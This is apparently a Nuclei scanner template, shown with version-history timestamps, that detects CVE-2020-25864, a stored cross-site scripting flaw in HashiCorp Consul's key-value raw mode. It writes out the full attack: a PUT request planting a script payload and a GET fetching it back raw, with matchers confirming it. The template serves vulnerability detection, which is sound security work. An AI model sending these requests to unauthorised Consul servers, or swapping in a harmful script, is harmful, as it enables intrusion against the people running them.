2022-02-17 18:25:37 +00:00
|
|
|
id: CVE-2020-25864
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting
|
|
|
|
author: c-sh0
|
2022-04-22 10:38:41 +00:00
|
|
|
severity: medium
|
2022-02-17 18:25:37 +00:00
|
|
|
reference:
|
|
|
|
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2022-02-17 18:25:37 +00:00
|
|
|
cve-id: CVE-2020-25864
|
|
|
|
cwe-id: CWE-79
|
|
|
|
tags: cve,cve2020,consul,xss
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
<!DOCTYPE html><script>alert(document.domain)</script>
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
2022-02-17 20:45:13 +00:00
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
2022-02-17 18:25:37 +00:00
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
|
|
|
- "<!DOCTYPE html><script>alert(document.domain)</script>"
|